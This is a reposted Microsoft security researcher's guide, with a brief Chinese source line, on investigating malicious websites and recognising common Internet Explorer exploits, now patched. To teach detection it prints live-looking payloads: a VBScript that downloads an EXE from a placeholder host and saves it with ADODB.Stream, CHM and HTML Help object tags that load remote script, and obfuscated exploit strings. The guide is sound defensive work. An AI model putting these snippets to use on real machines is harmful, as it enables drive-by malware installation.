信息来源：
http://dr00.sts.winisp.net/VulnA ... ion%20Incidents.htm
文章中有少量的图没有上传 大家可以直接到信息来源看：）
As a security researcher on the Secure Windows Initiative, I frequently analyze malicious web sites to answer the following questions:
What vulnerabilities are being exploited?
If known vulnerabilities are being exploited, which updates resolve the vulnerabilities?
If malware is being installed, what is it?
Having a web application security and IE security background has helped me perform this analysis. In this article I will share some investigative tools and techniques I find useful. I will describe methods that will help you de-obfuscate HTML / script and easily identify commonly exploited vulnerabilities.
A quick note on safety
This should be obvious, but please take great care in any investigation involving malicious code.
When investigating incidents of active exploitation, use a test machine that can be completely rebuilt as necessary. It’s very easy to infect your own machine if your software isn’t fully up to date, so proceed with caution. Disk imaging software can be very useful to restore a PC to a known-good configuration.
Always treat your test machine as if it is infected. Don’t connect to network resources that you trust (your Hotmail account, etc.). Keep your test machine as isolated as possible from the rest of your network. Don’t join to an NT domain. If you need to transfer data to your primary desktop machine for analysis, use an empty USB memory drive or floppy and limit the data transfer to known safe file formats – text files are great.
Virtual machines (VMWare, Virtual PC, etc.) are also useful tools. However they are less isolated from the host machine by design. Again, proceed with caution.
Test on fully updated currently supported platforms. Specifically, make sure to install all critical updates for Windows and other installed applications before browsing to any malicious web sites in IE. On a stock Windows XP install, simply install everything from Windows Update.
In many cases you will find it necessary to test with anti-virus software disabled. By design, anti-virus software will delete the files you are looking to investigate. Again, proceed with caution.
Make use of IE’s zones security settings – set the Internet Zone security settings on your test machine to “High” in the Internet Zone control panel:
This will block auto-execution of most browser based exploits but it may also impede your ability to perform necessary investigation. I usually hit a malicious site initially with browser security set to High and then only disable it during the investigation as necessary.
Getting Started – Determine the overall attack scenario
The techniques I describe in this article are intended to help identify exploits quickly. It is more difficult to prove that a complicated web page is not attempting some sort of mischief. This article is not intended to provide a comprehensive listing of all vulnerabilities and exploit techniques that might be used, only the attacks I have seen frequently “in the wild.”
An investigation will start with a particular suspect URL. Working backwards from an infected machine to find a web site that kicked off the process of infection is beyond the scope of this article – I assume you have an URL to investigate.
Tips, Tricks, and Tools
I want to find what I’m looking for without wasting any time. If a site is exploiting a common vulnerability it is usually possible to identify the exploit within a few minutes regardless of any obfuscation.
First you’ll want to obtain the HTML served up by the suspect URL. Just pull it down with anything that can perform an HTTP GET. Internet Explorer, netcat, wget, and many other freely available tools will allow you to do this.
Initial examination via Internet Explorer
The advantage of using Internet Explorer initially is that you get to develop an understanding of the overall attack scenario. Here are some scenarios I have seen:
Genuine malicious site
This is a site that just gets right down to business exploiting a vulnerability to take control of your machine without your permission. Many genuine malicious sites look like search sites, porn sites, etc.
Legitimate site that has been hacked
These are/were legitimate web sites that happen to have been hosted on vulnerable servers. The site might include an exploit in its own HTML content or simply reference an invisible frame on a different server that does the dirty work.
Legitimate site with a malicious advertisement
These are/were legitimate web sites that happen to receive advertising content from servers that may have been compromised. Advertising content often contains arbitrary HTML, not just images, so exploits can be embedded or referenced via invisible HTML frames. It could be difficult to determine if the advertising server actually was compromised or if the attacker simply purchased a web advertisement in order to distribute their exploit to a large number of machines.
Initial examination via netcat
netcat provides a simple way to receive and send data via UDP/TCP. Netcat can be used to simulate a web server or a client such as Internet Explorer.
When you fetch an URL with netcat it is useful to send an HTTP request that mimics IE. This achieves some stealth, but more importantly it ensures that you get the expected content.
Here’s an example GET request that can be sent using netcat:
GET /evil/evilpage.htm HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; .NET CLR 1.0.3705)
Host:
www.fabrikam.com
Connection: Close
Note that you’ll want to take care to set the Host header appropriately. The Host header (documented in RFC 2616) is the mechanism by which web servers that host multiple sites are able to distinguish between different requests sent to the same IP address.
If you’ve saved the above GET request in a file “get.txt,” you can then use netcat to send it and log the response:
nc
www.fabrikam.com 80 < get.txt > out.txt
Of course if you are behind a web proxy you will want to ensure that you are using an appropriate proxy client. netcat will not be aware of the proxy configuration settings in your browser.
Getting to the point
Now you are ready to dig further. Open the HTTP response body in a text editor such as notepad, or ViewàSource in IE as necessary. You’ll want to do a quick search to identify:
Frames and IFRAME elements – (Search for “frame”)
Follow the URLs in frame SRC attributes and retrieve the content via Internet Explorer or netcat. You will want to analyze the hierarchy of content that you retrieve using this technique.
OBJECT tags – (Search for “object”)
Each object tag references an ActiveX control by CLSID. There are three possibilities for each OBJECT tag you encounter:
1. The OBJECT tag references a common ActiveX control in a non-malicious way. As an example, Macromedia Flash is commonly used on web sites. Flash is implemented as an ActiveX control.
2. The OBJECT tag is facilitating a “Drive-by Download” – a potentially unwanted ActiveX control installation.
If you’re one of the few lucky people who haven’t experienced a drive-by download attempt, Eric L. Howes has put together a good overview of the threat.
The Information Bar in Windows XP SP2 helps prevent unwanted installation of ActiveX controls via drive-by download attempts.
3. The OBJECT tag is part of an exploit that involves the use of an OBJECT tag but is not necessarily related to a specific ActiveX control. Familiarize yourself with The Usual Suspects and learn to recognize these rogue OBJECT tags.
SCRIPT tags – (Search for “script”)
Review code in script blocks to identify the usual suspects. With some practice, it’s easy to identify and skim past benign script responsible for form validation, advertising related cookies, and other non-exploitation related functions.
Keep an eye out for programmatic navigations (calls to window.open, window.navigate, location, location.assign, location.href, etc.) Follow the referenced URLs and analyze them recursively looking for the usual suspects.
SCRIPT tags can also reference external content. Download additional referenced script content with IE or netcat and analyze it looking for the usual suspects.
The process above isn’t as difficult as it sounds and should proceed quickly. If your basic assumption is that exploitation occurs immediately upon the initial page view then there is no need to follow anchors/links. I would estimate that I retrieve between five and fifteen distinct URLs as I’m investigating an average malicious site.
Don’t stop investigating after you’ve revealed just one exploit. I’ve found that it’s quite common to see multiple exploits on one site – this increases the likelihood that the attack will be effective. It is also evidence that an attack has been updated to exploit new vulnerabilities as they are publicized.
The Usual Suspects
There are a number of software vulnerabilities that are frequently leveraged to automatically and silently install malware on PCs. The list below covers the issues I’ve seen exploited most frequently, however it’s not a comprehensive list of all vulnerabilities I have ever seen exploited. Note that at the time of this writing, all of the vulnerabilities I have seen actively being exploited on the web have been resolved via Microsoft security updates. If possible, I will update this article in the future to cover new vulnerabilities I see being actively exploited on malicious web sites.
“Ibiza” / The CHM Vulnerability
This vulnerability was fixed in the update provided with Microsoft security bulletin MS04-013 for Internet Explorer. The vulnerability allows malicious script in a CHM file to run binary code that originates from either the CHM file or from a separate web site.
Relevant HTML snippet:
<object data=”ms-its:mhtml:file://c:\\notexist.mht!
http://www.fabrikam.com//whatever//evil.chm::/evil.htm” type=”text/x-scriptlet”></object>
It’s important to note that the OBJECT tag is not required for the exploit. Identify Ibiza by the use of an URL prefixed by “ms-its:mhtml:”. Sometimes you may see all or parts of the ms-its URL encoded so as to avoid detection by antivirus software.
The file://c:\\notexist.mht is a bogus URL. For the exploit to be successful, that file should not exist on the victim machine.
http://www.fabrikam.com//whatever//evil.chm::/evil.htm references a CHM file on a web server and an embedded file named “evil.htm.” In HTML Help Workshop, use the “Decompile…” option to extract files within a CHM archive.
Usually you will see that the HTML content within a CHM includes an OBJECT tag that references an EXE that is also stored within the CHM. This HTML/script runs in the Local Machine Zone security context and silently installs the EXE via an OBJECT tag. (See ADODB.Stream and friends.)
A component of this vulnerability was discovered by Liu Die Yu.
“180 Sol.” / Download.Ject / ILookup
This vulnerability was fixed in the update provided with Microsoft security bulletin MS04-025 for Internet Explorer. The vulnerability allows arbitrary code from a web site to download and execute. Unfortunately an exploit can be constructed with fairly standard DHTML constructs – there is no “smoking gun” HTML element or CLSID as in other exploits.
In practice, an exploit for this vulnerability involves the use of the showModalDialog DHTML method, a redirect to an ms-its URL, and a frame. These are all fairly common constructs in and of themselves but they are not all necessary components of the exploit. To date, no exploit has been demonstrated publicly that does not include at least the showModalDialog component.
Relevant HTML Snippet:
showModalDialog("md.htm",window).location = "javascript:[some code]";
Note that the location object returned from a showModalDialog call is being navigated to a javascript URL. Following the code in the javascript URL and analyzing referenced HTML/script will uncover script intended to run in the Local Machine Zone within Internet Explorer. ADODB.stream and Shell.Application described below are two techniques that the exploit may leverage to run code from the Local Machine Zone.
OBJECT DATA HTA / The Matrix
This vulnerability was fixed in the update provided with Microsoft security bulletin MS03-040 for Internet Explorer. The vulnerability allows an HTA to run automatically. HTAs are effectively fully trusted windows applications written in HTML. HTAs can create and use/abuse unsafe ActiveX controls such as WScript.Shell.
Relevant HTML Snippet:
<OBJECT DATA="
http://www.fabrikam.com/evil"></OBJECT>
The HTTP response for the URL in the OBJECT tag’s DATA attribute must have a MIME type of application/hta. Here is an example HTTP response header that would allow exploitation of the vulnerability:
HTTP/1.1 200 OK
Date: Wed, 18 May 2005 15:01:12 GMT
Content-disposition: inline; filename="evil.hta"
Content-Type: application/hta
Transfer-Encoding: chunked
HTML/Script in the body of the HTTP response executes in the trusted context of an HTA.
The OBJECT DATA HTA vulnerability was discovered by Drew Copley.
Microsoft VM Bytecode Verifier Vulnerability
This vulnerability was fixed in the update provided with Microsoft security bulletin MS03-011 for Internet Explorer. The vulnerability exploits a bug in the Microsoft VM enabling the execution of arbitrary code. The exploitation of this vulnerability requires the use of the APPLET or OBJECT tag in HTML to run code in the Microsoft VM however it is not possible to positively identify the exploitation of this vulnerability simply by analyzing HTML.
If you really need to positively identify exploitation of this vulnerability, prepare to disassemble some Java bytecode. The Last Stage of Delirium discovered this vulnerability and published a paper describing it in detail. In practice you can usually get a good idea that an applet is up to no good if the web page author has taken the time to obfuscate the APPLET tag with some form of encoding. Furthermore, scanning the actual applet binary referenced in the APPLET tag’s CODE or CODEBASE attribute using a service such as VirusTotal.com can uncover embedded exploits.
ADODB.Stream and friends
One classic Internet Explorer attack scenario is for a web page to exploit a cross-domain vulnerability such as Download.Ject to inject script into the Local Machine Zone. Once script is running in the Local Machine Zone it can take advantage of an ActiveX control that implicitly trusts content in the Local Machine Zone. Once such control is ADODB.Stream.
ADODB.Stream’s SaveToFile method is currently the popular technique used by exploits in leveraging Local Machine Zone access. ADODB.Stream is almost never used on legitimate Internet web sites. Antivirus software has been able to take advantage of this, flagging anything referencing “ADODB.Stream” as a virus. In order to evade detection, it is common to see exploits attempt to encode all or parts of the string “ADODB.Stream.”
Relevant VBScript snippet:
<script language="vbscript">
const adTypeBinary = 1
const adSaveCreateOverwrite = 2
const adModeReadWrite = 3
set xmlHTTP = CreateObject("Microsoft.XMLHTTP")
xmlHTTP.open "GET","
http://www.fabrikam.com/evil.EXE", false
xmlHTTP.send
contents = xmlHTTP.responseBody
Set oStr = CreateObject("ADODB.Stream")
oStr.Mode = adModeReadWrite
oStr.Type = adTypeBinary
oStr.Open
oStr.Write(contents)
oStr.SaveToFile "c:\\test.exe", adSaveCreateOverwrite
</script>
It is common to see exploits use the SaveToFile method to overwrite wmplayer.exe, then navigate to an mms:// URL to launch the malicious EXE.
ADODB.Stream was disabled in Internet Explorer with the release of Microsoft KB870669. The ADODB.Stream technique was first identified by Jelmer Kuperus.
Shell.Application is another ActiveX control that allowed for code execution from the Local Machine Zone. Relative to ADODB.Stream, Shell.Application is not a very popular Local Machine Zone exploit technique. Shell.Application was modified to prevent this type of abuse in the Windows Shell update provided with Microsoft Security bulletin MS04-024. This technique was first identified by
1@Malware.com.
Within the Local Machine Zone, the OBJECT tag can be used to automatically run code that resides in a file on the local machine. This technique is frequently leveraged during exploitation of Ibiza in order to install code in a local CHM file.
In Windows XP Service Pack 2, Internet Explorer includes Local Machine Zone Lockdown which blocks script and ActiveX controls from executing in the Local Machine Zone by default.
Microsoft VM ActiveX Component Vulnerability
This vulnerability was fixed in the update provided with Microsoft security bulletin MS00-075. I have seen this vulnerability exploited recently even though it is very old. This vulnerability allows web pages to instantiate unsafe ActiveX controls such as WScript.Shell.
Relevant HTML snippet:
<applet code=”com.ms.activeX.ActiveXComponent”></applet>
This applet element can then be referenced by script in order to instantiate an unsafe ActiveX control from an Internet Zone web page.
The Microsoft VM ActiveX Component Vulnerability was originally discovered by Georgi Guninski.
ShredderSub7 / NoCeegar
This vulnerability was fixed in the update provided with Microsoft security bulletin MS05-001 for Windows. The vulnerability abuses the HTML Help ActiveX control to run code.
Relevant HTML Snippet:
<OBJECT style="display:none" id="locate" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" codebase="hhctrl.ocx#Version=5,2,3790,1194">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Button" value="Text:_">
<PARAM name="Window" value="$global_blank">
<PARAM name="Item1" value="command;ms-its:c:/windows/help/ntshared.chm::/compile_date.htm">
</OBJECT>
<OBJECT style="display:none" id="locator" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" codebase="hhctrl.ocx#Version=5,2,3790,1194">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Button" value="Text:_">
<PARAM name="Window" value="$global_blank">
<PARAM name="Item1" value='command;javascript:execScript("document.write(\"<body style=\\\"display:none\\\" scroll=\\\"no\\\"\"+String.fromCharCode(62)+\"<scr\"+\"ipt language=\\\"javascript\\\" src=\\\"
http://www.fabrikam.com/evil.txt\\\"\"+String.fromCharCode(62)+\"</scr\"+\"ipt\"+String.fromCharCode(62))")'>
</OBJECT>
<script>locate.HHClick();setTimeout("locator.HHClick()",75);</script>
The key here is the use of two HTML Help ActiveX controls, identified by the CLSID adb880a6-d8ff-11cf-9377-00aa003b7a11. The first ActiveX control navigates the HTML Help system to a help page on the local computer. The second control navigates the HTML Help system to a javascript: URL that runs script in the security context of the existing page – the Local Machine Zone. The Javascript will either abuse the Local Machine Zone security context or use special functionality that is only available within HTML Help to run code.
This vulnerability was partially discovered by
1@Malware.com, refined by Roozbeh Afrasiabi, and refined further by Michael Evanchik and Paul/Greyhats.
Quickly Reversing Common Obfuscation Techniques
Encoding and Decoding
There are two types of standard encodings that you should be aware of:
HTML Encoding
HTML Encoding is used on web pages to represent special characters or characters that might otherwise be interpreted in a special way by the browser. More information on HTML Encoding is available on “Index DOT Html” maintained by Brian Wilson.
Examples:
Code
Interpretation
d
Letter ‘d’ (decimal)
d
Letter ‘d’ (hex)
☺
Unicode smile ☺ (hex, unicode)
"
Named Entity for quotation mark
URL Encoding / HTTP Encoding
URL Encoding is used in URLs to represent special ASCII characters. More information on URL Encoding and a simple encoder/decoder are available on “Index DOT Html” maintained by Brian Wilson.
Examples:
Code
Interpretation
%64
Letter ‘d’
%20
Space
Other encodings are supported by Internet Explorer and it is fairly common to see a custom decoder included with exploit script. Fortunately it is always easy to reverse engineer this encoding – you just need to leverage the fact that the browser will always need to parse the de-obfuscated/decoded script/HTML. I’ve never encountered an example where it was actually necessary to reverse-engineer some encoding/decoding by hand. Let the browser do the heavy lifting for you.
One useful trick is to make use of the javascript: URL syntax. If you type javascript:alert(document.body.outerHTML); in the address bar of your browser you will see the HTML that makes up the active DOM. This may provide some visibility that View Source does not. For instance, script may decode some HTML and subsequently inject it into the DOM with a method such as document.write.
A more generally useful technique is to copy and modify some portion of the malicious script.
As an example, the following malicious script was slightly modified from script included in a real malicious web site attempting to obscure an Ibiza exploit:
document.write(unescape('\u0025\u0033\u0043\u00256\u0046%6\062%\u0036\u0041%65%\u0036\063\u0025\0674\u002520%\u00364%61%\u0037\u0034%\0661\0453\u0044%22%\u0036D%\u00373\0452D\u0025\0669%\067\064\u00257\u0033\u0025\063A%6\104\04568%7\u0034%6D%6\u0043%\063A%66%6\071%6C%6\065\0453\101%\062F%2\u0046\045\064\u0033%\u0033A%\u0035\u0043\0455C%4D\045\u00341%\u00349%4E\u0025\u0032E%4D%48%\u00354%2\u0031\u002568%74\u00257\u0034\u0025\u0037\u0030\0453A\045\u0032\u0046%2\u0046%77%77%77%2E%66%61%62%72%69%6B%61%6D%\062\105%\066\u0033\045\066F\u0025\u0036\u0044\u0025\u0032F%\062\u0046%67\0457\u0032\u002574\u002573\u00252\106%2F%\u0036\u0035\045\u0037\u0032\u00256\067%2F\0452\106\0456\u0034\u002533%\u0036\066\u00257\u0038\0452\u0045\0456\u0033%6\070\045\u0036D\u0025\063A\0453\101\u00252\u0046%\0631\u00252E\u00256\070%\u00374%6D%\u00322%20%7\064%7\u0039%7\060\u0025\u00365%3\104%22\045\u00374%\u00365%78\u0025\u00374%2F%78\u0025\062D%73\u00256\063\u0025\u00372\u0025\u00369%\u00370\045\u00374\0456\103\04565\u002574%22\u00253\u0045%\u0033C\u00252\106%6F\04562%\066A%\u00365\u0025\0663%7\064%3\105));document.close();
The unescape function in javascript serves to de-obfuscate the encoded script. Document.write effectively causes the browser rendering engine to toss out the HTML associated with the current page and start rendering the HTML passed in as a string. So simply replace the document.write with an alert and save the script in a new web page to see the de-obfuscated HTML.
Test.htm:
<script>
alert(unescape('\u0025\u0033\u0043\u00256\u0046%6\062%\u0036\u0041%65%\u0036\063\u0025\0674\u002520%\u00364%61%\u0037\u0034%\0661\0453\u0044%22%\u0036D%\u00373\0452D\u0025\0669%\067\064\u00257\u0033\u0025\063A%6\104\04568%7\u0034%6D%6\u0043%\063A%66%6\071%6C%6\065\0453\101%\062F%2\u0046\045\064\u0033%\u0033A%\u0035\u0043\0455C%4D\045\u00341%\u00349%4E\u0025\u0032E%4D%48%\u00354%2\u0031\u002568%74\u00257\u0034\u0025\u0037\u0030\0453A\045\u0032\u0046%2\u0046%77%77%77%2E%66%61%62%72%69%6B%61%6D%\062\105%\066\u0033\045\066F\u0025\u0036\u0044\u0025\u0032F%\062\u0046%67\0457\u0032\u002574\u002573\u00252\106%2F%\u0036\u0035\045\u0037\u0032\u00256\067%2F\0452\106\0456\u0034\u002533%\u0036\066\u00257\u0038\0452\u0045\0456\u0033%6\070\045\u0036D\u0025\063A\0453\101\u00252\u0046%\0631\u00252E\u00256\070%\u00374%6D%\u00322%20%7\064%7\u0039%7\060\u0025\u00365%3\104%22\045\u00374%\u00365%78\u0025\u00374%2F%78\u0025\062D%73\u00256\063\u0025\u00372\u0025\u00369%\u00370\045\u00374\0456\103\04565\u002574%22\u00253\u0045%\u0033C\u00252\106%6F\04562%\066A%\u00365\u0025\0663%7\064%3\105'));document.close();
</script>
Opening this page in Internet Explorer will result in the following dialog:
Now it’s possible to see that the obfuscated goo translates to an OBJECT tag exploiting Ibiza. You can now pull down the malicious CHM file for further analysis.
Content encoded with the Microsoft Script Encoder has also been showing up recently on sites that exploit browser vulnerabilities.
Here is an example from a real exploit:
<SCRIPT language=”Jscript.Encode”>#@~^LgEAAA==r6`Um\bolDWM Lm\C2 l8sN`*b 9Wm!hnxDRSDrYncr-TGWwFZFKKd2K~('ET!W*{-E'EZ!v8was-!!TGW-Ew!!!yTb"ZC'qqFj-8!X-;TZ&[-rwEZc*qKE-qX+YnDcw!!T+lm-EZ!F+-rP/-!!T*6-EZTcW-EZT**'EZ!fNwE;W;xDnD'ETTy+-;TZvf-!TZv^m-!!!F&kwJ,(f:-qqZ'F'TcZ-EZT*%AqVCwETTlcw!FXF@*-UE*iNG^!:nxD SDrD+vJ-!!ZfmJ-q!8-;TZ*!hwF8c2'q+c'EZ!f+Ebp8yFgAAA==^#~@</SCRIPT>
There are a number of freely available decoders for the Microsoft Script Encoder. Decoding the script above yields:
if(navigator.javaEnabled()){document.write("\074\101PPLET I\u0044=\"\u0061ppl\u0074\"\u0020ARCH\111V\105\u003d\"\u0441ou\156ter.\u006aa\u0072\" C\u004f\u0044\u0045\u003d\"Counter\u002e\u0063\u006ca\u0073s\" WIDT\110=1\040\u0048EIGH\u0054\0751>\n");document.write("\u003c/\101\u0050P\114E\124\u003e");}
Use the previously described technique of replacing document.write calls with alerts reveals an exploit for the Microsoft VM Bytecode Verifier vulnerability:
<APPLET ID=”applt” ARCHIVE=”counter.jar” CODE=”Counter.class” WIDTH=1 HEIGHT=1></APPLET>
Useful Analysis Tools / Techniques
This document doesn’t cover techniques for analyzing malware, however I’ve found that usually browser based exploits leverage code that has already been identified and dissected by the AV/Spyware community. You can submit a virus binary to a free analysis service such as VirusTotal.com to see if it is recognized as malicious.
As mentioned above, Javascript URLs can be used to interrogate the DOM of the current page. Javascript URLs can also come in handy to set up a quick download link for malicious URL. Try the following in IE’s address bar:
javascript:”<a href=’
http://www.fabricam.com/evildownload.jpg’>testlink</a>”
You can then right-click on testlink and select “Save Target As…” to save the file.
Recently I encountered a custom script encoder/decoder with a payload containing control characters that needed to be preserved. Viewing the page in IE and saving the resulting HTML ended up destroying the integrity of the encoding. Saving the file via an anchor created dynamically by a javascript: URL allowed me to save the file bit-perfect.
Some additional tools
Paros and Fiddler are useful tools for incident investigations as well as for general web application security work. They’re very useful when analyzing complex sites or issues involving headers/cookies.
And finally…
Ben Edelman seems to have devoted his life to analyzing malicious web based attacks. He has documented many interesting cases and I would highly encourage visiting his site if you haven’t already.
The Internet Storm Center has blogged extensively on malicious web based attacks. Follow the Bouncing Malware Part 1, Part 2, and Part 3 document the analysis of several malicious web based attacks.
